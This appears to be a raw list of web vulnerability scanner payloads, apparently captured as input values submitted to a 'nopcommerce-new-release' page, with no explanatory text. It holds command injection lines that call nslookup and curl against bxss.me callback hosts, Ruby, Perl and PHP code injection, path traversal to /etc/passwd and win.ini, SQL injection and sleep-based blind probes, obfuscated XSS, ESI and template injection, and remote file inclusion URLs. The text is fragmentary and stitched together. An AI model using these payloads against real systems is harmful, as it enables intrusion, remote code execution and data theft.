(nslookup -q=cname hitqimzbnubsed059e.bxss.me||curl hitqimzbnubsed059e.bxss.me))

"+"A".concat(70-3).concat(22*4).concat(117).concat(79).concat(109).concat(66)+(require"socket"
Socket.gethostbyname("hitna"+"ktsoygvg3f7b7.bxss.me.")[3].to_s)+"

$(nslookup -q=cname hitqnvuicspxk7e40a.bxss.me||curl hitqnvuicspxk7e40a.bxss.me)

&nslookup -q=cname hitsxutpkrvtu86d2a.bxss.me&'\"`0&nslookup -q=cname hitsxutpkrvtu86d2a.bxss.me&`'

nopcommerce-new-release

'+'A'.concat(70-3).concat(22*4).concat(106).concat(77).concat(107).concat(79)+(require'socket'
Socket.gethostbyname('hitqx'+'jjknlumg05354.bxss.me.')[3].to_s)+'

nopcommerce-new-release

&(nslookup -q=cname hitfeaydopewmff7ec.bxss.me||curl hitfeaydopewmff7ec.bxss.me)&'\"`0&(nslookup -q=cname hitfeaydopewmff7ec.bxss.me||curl hitfeaydopewmff7ec.bxss.me)&`'

'A'.concat(70-3).concat(22*4).concat(98).concat(80).concat(102).concat(83)+(require'socket'
Socket.gethostbyname('hitxf'+'ikrdsxsx54fc1.bxss.me.')[3].to_s)

../../../../../../../../../../../../../../etc/passwd

|(nslookup -q=cname hithyteafclxr17bad.bxss.me||curl hithyteafclxr17bad.bxss.me)

../../../../../../../../../../../../../../windows/win.ini

nopcommerce-new-release/.

`(nslookup -q=cname hitcjcqbmkmwk4b29a.bxss.me||curl hitcjcqbmkmwk4b29a.bxss.me)`

;(nslookup -q=cname hitrmdbesmelb629e8.bxss.me||curl hitrmdbesmelb629e8.bxss.me)|(nslookup -q=cname hitrmdbesmelb629e8.bxss.me||curl hitrmdbesmelb629e8.bxss.me)&(nslookup -q=cname hitrmdbesmelb629e8.bxss.me||curl hitrmdbesmelb629e8.bxss.me)

file:///etc/passwd

|(nslookup${IFS}-q${IFS}cname${IFS}hitoekbvatrsg63164.bxss.me||curl${IFS}hitoekbvatrsg63164.bxss.me)

-1 OR 2+724-724-1=0+0+0+1 --

-1 OR 3+724-724-1=0+0+0+1 --

-1 OR 2+834-834-1=0+0+0+1

../

&(nslookup${IFS}-q${IFS}cname${IFS}hitgpyjoiongi70ec8.bxss.me||curl${IFS}hitgpyjoiongi70ec8.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitgpyjoiongi70ec8.bxss.me||curl${IFS}hitgpyjoiongi70ec8.bxss.me)&`'

./

<ScR<ScRiPt>IpT>BeGf(9059)</sCr<ScRiPt>IpT>

-1 OR 3+834-834-1=0+0+0+1

-1' OR 2+574-574-1=0+0+0+1 --

-1' OR 3+574-574-1=0+0+0+1 --

-1' OR 2+125-125-1=0+0+0+1 or '4rHzHy4X'='

-1' OR 3+125-125-1=0+0+0+1 or '4rHzHy4X'='

-1" OR 2+483-483-1=0+0+0+1 --

-1" OR 3+483-483-1=0+0+0+1 --

'.gethostbyname(lc('hitxg'.'dxqpjxhdc21ab.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(78).chr(113).chr(77).'

".gethostbyname(lc("hitil"."opkiuyxv859fc.bxss.me."))."A".chr(67).chr(hex("58")).chr(112).chr(68).chr(111).chr(74)."

gethostbyname(lc('hitst'.'rrigmwtofef0c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(83).chr(112).chr(78)

<esi:include src="http://bxss.me/rpb.png"/>

${10000402+9999608}

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

Http://bxss.me/t/fit.txt

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

http://bxss.me/t/fit.txt?.jpg

';print(md5(31337));$a='

";print(md5(31337));$a="

/etc/shells

../../../../../../../../../../../../../../etc/shells

c:/windows/win.ini

${@print(md5(31337))}

${@print(md5(31337))}\

bxss.me

'.print(md5(31337)).'

HttP://bxss.me/t/xss.html?%00

*if(now()=sysdate(),sleep(15),0)

bxss.me/t/xss.html?%00

xfs.bxss.me

<ScR<ScRiPt>IpT>BeGf(9059)</sCr<ScRiPt>IpT>

0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

ctime
sleep
p0
(I30
tp1
Rp2
.

'"

'"()&%<zzz><ScRiPt >rk3i(9506)</ScRiPt>